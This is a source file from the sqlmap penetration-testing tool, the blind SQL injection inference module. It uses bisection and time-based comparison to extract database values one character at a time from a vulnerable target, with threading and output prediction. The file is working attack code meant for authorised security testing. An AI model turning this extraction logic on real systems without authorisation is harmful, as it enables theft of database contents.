mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-26 19:43:48 +03:00
626 lines
28 KiB
Python
626 lines
28 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
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See the file 'doc/COPYING' for copying permission
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"""
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import threading
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import time
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from extra.safe2bin.safe2bin import safecharencode
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from lib.core.agent import agent
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from lib.core.common import Backend
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from lib.core.common import calculateDeltaSeconds
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from lib.core.common import dataToStdout
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from lib.core.common import decodeHexValue
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from lib.core.common import decodeIntToUnicode
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from lib.core.common import filterControlChars
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from lib.core.common import getCharset
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from lib.core.common import getCounter
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from lib.core.common import goGoodSamaritan
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from lib.core.common import getPartRun
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from lib.core.common import hashDBRetrieve
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from lib.core.common import hashDBWrite
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from lib.core.common import incrementCounter
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from lib.core.common import safeStringFormat
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from lib.core.common import singleTimeWarnMessage
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import queries
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from lib.core.enums import ADJUST_TIME_DELAY
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from lib.core.enums import CHARSET_TYPE
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from lib.core.enums import DBMS
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from lib.core.enums import PAYLOAD
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from lib.core.exception import SqlmapThreadException
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from lib.core.settings import CHAR_INFERENCE_MARK
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from lib.core.settings import INFERENCE_BLANK_BREAK
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from lib.core.settings import INFERENCE_UNKNOWN_CHAR
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from lib.core.settings import INFERENCE_GREATER_CHAR
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from lib.core.settings import INFERENCE_EQUALS_CHAR
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from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR
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from lib.core.settings import MAX_BISECTION_LENGTH
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from lib.core.settings import MAX_TIME_REVALIDATION_STEPS
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from lib.core.settings import NULL
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from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
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from lib.core.settings import PARTIAL_VALUE_MARKER
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from lib.core.settings import RANDOM_INTEGER_MARKER
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from lib.core.settings import VALID_TIME_CHARS_RUN_THRESHOLD
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from lib.core.threads import getCurrentThreadData
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from lib.core.threads import runThreads
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from lib.core.unescaper import unescaper
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from lib.request.connect import Connect as Request
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from lib.utils.progress import ProgressBar
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from lib.utils.xrange import xrange
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def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
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"""
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Bisection algorithm that can be used to perform blind SQL injection
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on an affected host
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"""
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abortedFlag = False
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showEta = False
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partialValue = u""
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finalValue = None
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retrievedLength = 0
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asciiTbl = getCharset(charsetType)
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timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
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retVal = hashDBRetrieve(expression, checkConf=True)
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if retVal:
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if PARTIAL_HEX_VALUE_MARKER in retVal:
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retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "")
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if retVal and conf.hexConvert:
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partialValue = retVal
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infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
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logger.info(infoMsg)
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elif PARTIAL_VALUE_MARKER in retVal:
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retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
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if retVal and not conf.hexConvert:
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partialValue = retVal
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infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
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logger.info(infoMsg)
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else:
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infoMsg = "resumed: %s" % safecharencode(retVal)
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logger.info(infoMsg)
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return 0, retVal
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try:
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# Set kb.partRun in case "common prediction" feature (a.k.a. "good
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# samaritan") is used or the engine is called from the API
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if conf.predictOutput:
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kb.partRun = getPartRun()
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elif hasattr(conf, "api"):
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kb.partRun = getPartRun(alias=False)
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else:
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kb.partRun = None
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if partialValue:
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firstChar = len(partialValue)
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elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
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firstChar = 0
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elif dump and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())):
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firstChar = int(conf.firstChar) - 1
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elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int):
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firstChar = int(firstChar) - 1
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else:
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firstChar = 0
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if "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
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lastChar = 0
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elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())):
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lastChar = int(conf.lastChar)
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elif isinstance(lastChar, basestring) and lastChar.isdigit() or isinstance(lastChar, int):
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lastChar = int(lastChar)
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else:
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lastChar = 0
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if Backend.getDbms():
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_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
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nulledCastedField = agent.nullAndCastField(fieldToCastStr)
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expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
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expressionUnescaped = unescaper.escape(expressionReplaced)
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else:
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expressionUnescaped = unescaper.escape(expression)
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if isinstance(length, basestring) and length.isdigit() or isinstance(length, int):
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length = int(length)
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else:
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length = None
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if length == 0:
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return 0, ""
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if length and (lastChar > 0 or firstChar > 0):
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length = min(length, lastChar or length) - firstChar
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if length and length > MAX_BISECTION_LENGTH:
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length = None
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showEta = conf.eta and isinstance(length, int)
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numThreads = min(conf.threads, length)
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if showEta:
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progress = ProgressBar(maxValue=length)
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if timeBasedCompare and conf.threads > 1 and not conf.forceThreads:
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warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically"
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singleTimeWarnMessage(warnMsg)
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if numThreads > 1:
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if not timeBasedCompare or conf.forceThreads:
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debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))
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logger.debug(debugMsg)
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else:
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numThreads = 1
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if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput:
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warnMsg = "running in a single-thread mode. Please consider "
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warnMsg += "usage of option '--threads' for faster data retrieval"
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singleTimeWarnMessage(warnMsg)
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if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
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if isinstance(length, int) and conf.threads > 1:
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dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
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dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
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else:
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dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
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hintlock = threading.Lock()
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def tryHint(idx):
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with hintlock:
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hintValue = kb.hintValue
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if hintValue is not None and len(hintValue) >= idx:
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if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
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posValue = hintValue[idx - 1]
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else:
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posValue = ord(hintValue[idx - 1])
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forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
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result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
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incrementCounter(kb.technique)
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if result:
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return hintValue[idx - 1]
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with hintlock:
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kb.hintValue = None
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return None
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def validateChar(idx, value):
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"""
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Used in time-based inference (in case that original and retrieved
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value are not equal there will be a deliberate delay).
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"""
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if "'%s'" % CHAR_INFERENCE_MARK not in payload:
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forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value))
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else:
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# e.g.: ... > '%c' -> ... > ORD(..)
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markingValue = "'%s'" % CHAR_INFERENCE_MARK
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unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value))
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forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
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result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
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incrementCounter(kb.technique)
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return not result
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def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
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"""
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continuousOrder means that distance between each two neighbour's
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numerical values is exactly 1
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"""
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result = tryHint(idx)
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if result:
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return result
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if charTbl is None:
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charTbl = type(asciiTbl)(asciiTbl)
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originalTbl = type(charTbl)(charTbl)
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if continuousOrder and shiftTable is None:
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# Used for gradual expanding into unicode charspace
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shiftTable = [2, 2, 3, 3, 5, 4]
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if "'%s'" % CHAR_INFERENCE_MARK in payload:
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for char in ('\n', '\r'):
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if ord(char) in charTbl:
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charTbl.remove(ord(char))
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if not charTbl:
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return None
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elif len(charTbl) == 1:
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forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
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result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
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incrementCounter(kb.technique)
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if result:
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return decodeIntToUnicode(charTbl[0])
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else:
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return None
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maxChar = maxValue = charTbl[-1]
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minChar = minValue = charTbl[0]
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while len(charTbl) != 1:
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position = (len(charTbl) >> 1)
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posValue = charTbl[position]
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falsePayload = None
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if "'%s'" % CHAR_INFERENCE_MARK not in payload:
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forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
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falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
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else:
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# e.g.: ... > '%c' -> ... > ORD(..)
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markingValue = "'%s'" % CHAR_INFERENCE_MARK
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unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))
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forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
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falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL)
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if timeBasedCompare:
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if kb.responseTimeMode:
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kb.responseTimePayload = falsePayload
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else:
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kb.responseTimePayload = None
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result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
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incrementCounter(kb.technique)
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if result:
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minValue = posValue
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if type(charTbl) != xrange:
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charTbl = charTbl[position:]
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else:
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# xrange() - extended virtual charset used for memory/space optimization
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charTbl = xrange(charTbl[position], charTbl[-1] + 1)
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else:
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maxValue = posValue
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if type(charTbl) != xrange:
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charTbl = charTbl[:position]
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else:
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charTbl = xrange(charTbl[0], charTbl[position])
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if len(charTbl) == 1:
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if continuousOrder:
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if maxValue == 1:
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return None
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# Going beyond the original charset
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elif minValue == maxChar:
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# If the original charTbl was [0,..,127] new one
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# will be [128,..,(128 << 4) - 1] or from 128 to 2047
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# and instead of making a HUGE list with all the
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# elements we use a xrange, which is a virtual
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# list
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if expand and shiftTable:
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charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
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originalTbl = xrange(charTbl)
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maxChar = maxValue = charTbl[-1]
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minChar = minValue = charTbl[0]
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else:
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return None
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else:
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retVal = minValue + 1
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if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
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if timeBasedCompare and not validateChar(idx, retVal):
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if not kb.originalTimeDelay:
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kb.originalTimeDelay = conf.timeSec
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kb.timeValidCharsRun = 0
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if retried < MAX_TIME_REVALIDATION_STEPS:
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errMsg = "invalid character detected. retrying.."
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logger.error(errMsg)
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if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
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conf.timeSec += 1
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warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '')
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logger.warn(warnMsg)
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if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
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dbgMsg = "turning off time auto-adjustment mechanism"
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logger.debug(dbgMsg)
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kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO
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return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)
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else:
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errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal)
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logger.error(errMsg)
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conf.timeSec = kb.originalTimeDelay
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return decodeIntToUnicode(retVal)
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else:
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if timeBasedCompare:
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kb.timeValidCharsRun += 1
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if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD:
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dbgMsg = "turning back on time auto-adjustment mechanism"
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logger.debug(dbgMsg)
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kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES
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return decodeIntToUnicode(retVal)
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else:
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return None
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else:
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if minValue == maxChar or maxValue == minChar:
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return None
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for index in xrange(len(originalTbl)):
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if originalTbl[index] == minValue:
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break
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# If we are working with non-continuous elements, both minValue and character after
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# are possible candidates
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for retVal in (originalTbl[index], originalTbl[index + 1]):
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forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal))
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result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
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incrementCounter(kb.technique)
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if result:
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return decodeIntToUnicode(retVal)
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return None
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# Go multi-threading (--threads > 1)
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if conf.threads > 1 and isinstance(length, int) and length > 1:
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threadData = getCurrentThreadData()
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threadData.shared.value = [None] * length
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threadData.shared.index = [firstChar] # As list for python nested function scoping
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threadData.shared.start = firstChar
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try:
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def blindThread():
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threadData = getCurrentThreadData()
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while kb.threadContinue:
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kb.locks.index.acquire()
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if threadData.shared.index[0] - firstChar >= length:
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kb.locks.index.release()
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return
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threadData.shared.index[0] += 1
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curidx = threadData.shared.index[0]
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kb.locks.index.release()
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if kb.threadContinue:
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charStart = time.time()
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val = getChar(curidx)
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if val is None:
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val = INFERENCE_UNKNOWN_CHAR
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else:
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break
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with kb.locks.value:
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threadData.shared.value[curidx - 1 - firstChar] = val
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currentValue = list(threadData.shared.value)
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if kb.threadContinue:
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if showEta:
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progress.progress(time.time() - charStart, threadData.shared.index[0])
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elif conf.verbose >= 1:
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startCharIndex = 0
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endCharIndex = 0
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for i in xrange(length):
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if currentValue[i] is not None:
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endCharIndex = max(endCharIndex, i)
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output = ''
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if endCharIndex > conf.progressWidth:
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startCharIndex = endCharIndex - conf.progressWidth
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count = threadData.shared.start
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for i in xrange(startCharIndex, endCharIndex + 1):
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output += '_' if currentValue[i] is None else currentValue[i]
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for i in xrange(length):
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count += 1 if currentValue[i] is not None else 0
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if startCharIndex > 0:
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output = '..' + output[2:]
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if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):
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output = output[:-2] + '..'
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if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
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_ = count - firstChar
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output += '_' * (min(length, conf.progressWidth) - len(output))
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status = ' %d/%d (%d%%)' % (_, length, round(100.0 * _ / length))
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output += status if _ != length else " " * len(status)
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dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output)))
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runThreads(numThreads, blindThread, startThreadMsg=False)
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except KeyboardInterrupt:
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abortedFlag = True
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finally:
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value = [_ for _ in partialValue]
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value.extend(_ for _ in threadData.shared.value)
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infoMsg = None
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# If we have got one single character not correctly fetched it
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# can mean that the connection to the target URL was lost
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if None in value:
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partialValue = "".join(value[:value.index(None)])
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if partialValue:
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infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue))
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else:
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finalValue = "".join(value)
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infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue))
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if conf.verbose in (1, 2) and not showEta and infoMsg and not hasattr(conf, "api"):
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dataToStdout(infoMsg)
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# No multi-threading (--threads = 1)
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|
else:
|
|
index = firstChar
|
|
|
|
while True:
|
|
index += 1
|
|
charStart = time.time()
|
|
|
|
# Common prediction feature (a.k.a. "good samaritan")
|
|
# NOTE: to be used only when multi-threading is not set for
|
|
# the moment
|
|
if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
|
|
val = None
|
|
commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)
|
|
|
|
# If there is one single output in common-outputs, check
|
|
# it via equal against the query output
|
|
if commonValue is not None:
|
|
# One-shot query containing equals commonValue
|
|
testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False)
|
|
|
|
query = kb.injection.data[kb.technique].vector
|
|
query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (expressionUnescaped, testValue)))
|
|
query = agent.suffixQuery(query)
|
|
|
|
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
|
|
incrementCounter(kb.technique)
|
|
|
|
# Did we have luck?
|
|
if result:
|
|
if showEta:
|
|
progress.progress(time.time() - charStart, len(commonValue))
|
|
elif conf.verbose in (1, 2) or hasattr(conf, "api"):
|
|
dataToStdout(filterControlChars(commonValue[index - 1:]))
|
|
|
|
finalValue = commonValue
|
|
break
|
|
|
|
# If there is a common pattern starting with partialValue,
|
|
# check it via equal against the substring-query output
|
|
if commonPattern is not None:
|
|
# Substring-query containing equals commonPattern
|
|
subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
|
|
testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False)
|
|
|
|
query = kb.injection.data[kb.technique].vector
|
|
query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (subquery, testValue)))
|
|
query = agent.suffixQuery(query)
|
|
|
|
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
|
|
incrementCounter(kb.technique)
|
|
|
|
# Did we have luck?
|
|
if result:
|
|
val = commonPattern[index - 1:]
|
|
index += len(val) - 1
|
|
|
|
# Otherwise if there is no commonValue (single match from
|
|
# txt/common-outputs.txt) and no commonPattern
|
|
# (common pattern) use the returned common charset only
|
|
# to retrieve the query output
|
|
if not val and commonCharset:
|
|
val = getChar(index, commonCharset, False)
|
|
|
|
# If we had no luck with commonValue and common charset,
|
|
# use the returned other charset
|
|
if not val:
|
|
val = getChar(index, otherCharset, otherCharset == asciiTbl)
|
|
else:
|
|
val = getChar(index, asciiTbl)
|
|
|
|
if val is None:
|
|
finalValue = partialValue
|
|
break
|
|
|
|
if kb.data.processChar:
|
|
val = kb.data.processChar(val)
|
|
|
|
partialValue += val
|
|
|
|
if showEta:
|
|
progress.progress(time.time() - charStart, index)
|
|
elif conf.verbose in (1, 2) or hasattr(conf, "api"):
|
|
dataToStdout(filterControlChars(val))
|
|
|
|
# some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
|
|
if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace() and partialValue.strip(' ')[-1:] != '\n':
|
|
finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
|
|
break
|
|
|
|
if (lastChar > 0 and index >= lastChar):
|
|
finalValue = "" if length == 0 else partialValue
|
|
finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue
|
|
partialValue = None
|
|
break
|
|
|
|
except KeyboardInterrupt:
|
|
abortedFlag = True
|
|
finally:
|
|
kb.prependFlag = False
|
|
kb.stickyLevel = None
|
|
retrievedLength = len(finalValue or "")
|
|
|
|
if finalValue is not None:
|
|
finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue
|
|
hashDBWrite(expression, finalValue)
|
|
elif partialValue:
|
|
hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))
|
|
|
|
if conf.hexConvert and not abortedFlag and not hasattr(conf, "api"):
|
|
infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength)
|
|
dataToStdout(infoMsg)
|
|
else:
|
|
if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
|
|
dataToStdout("\n")
|
|
|
|
if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
|
|
infoMsg = "retrieved: %s" % filterControlChars(finalValue)
|
|
logger.info(infoMsg)
|
|
|
|
if kb.threadException:
|
|
raise SqlmapThreadException("something unexpected happened inside the threads")
|
|
|
|
if abortedFlag:
|
|
raise KeyboardInterrupt
|
|
|
|
_ = finalValue or partialValue
|
|
|
|
return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _
|
|
|
|
def queryOutputLength(expression, payload):
|
|
"""
|
|
Returns the query output length.
|
|
"""
|
|
|
|
infoMsg = "retrieving the length of query output"
|
|
logger.info(infoMsg)
|
|
|
|
start = time.time()
|
|
|
|
lengthExprUnescaped = agent.forgeQueryOutputLength(expression)
|
|
count, length = bisection(payload, lengthExprUnescaped, charsetType=CHARSET_TYPE.DIGITS)
|
|
|
|
debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
|
|
logger.debug(debugMsg)
|
|
|
|
if length == " ":
|
|
length = 0
|
|
|
|
return length
|